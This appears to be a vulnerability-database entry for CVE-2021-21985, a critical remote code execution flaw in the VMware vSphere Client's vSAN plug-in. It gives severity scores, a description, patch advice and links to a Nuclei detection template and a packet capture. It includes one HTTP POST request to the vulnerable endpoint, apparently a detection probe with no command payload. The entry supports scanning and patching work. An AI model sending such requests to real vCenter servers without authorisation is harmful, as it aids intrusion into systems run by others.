| Title | VMware vSphere Client (HTML5) - Remote Code Execution |
|---|---|
| Author | D0rkerDevil |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94412 |
| CVE ID | CVE-2021-21985 |
| CWE ID | CWE-20 |
| Tags | cve2021 cve packetstorm rce vsphere vmware kev vkev vuln |
The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.
POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Connection: close
Content-Length: 84
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip
{"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21985.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21985.pcap
N/AN/A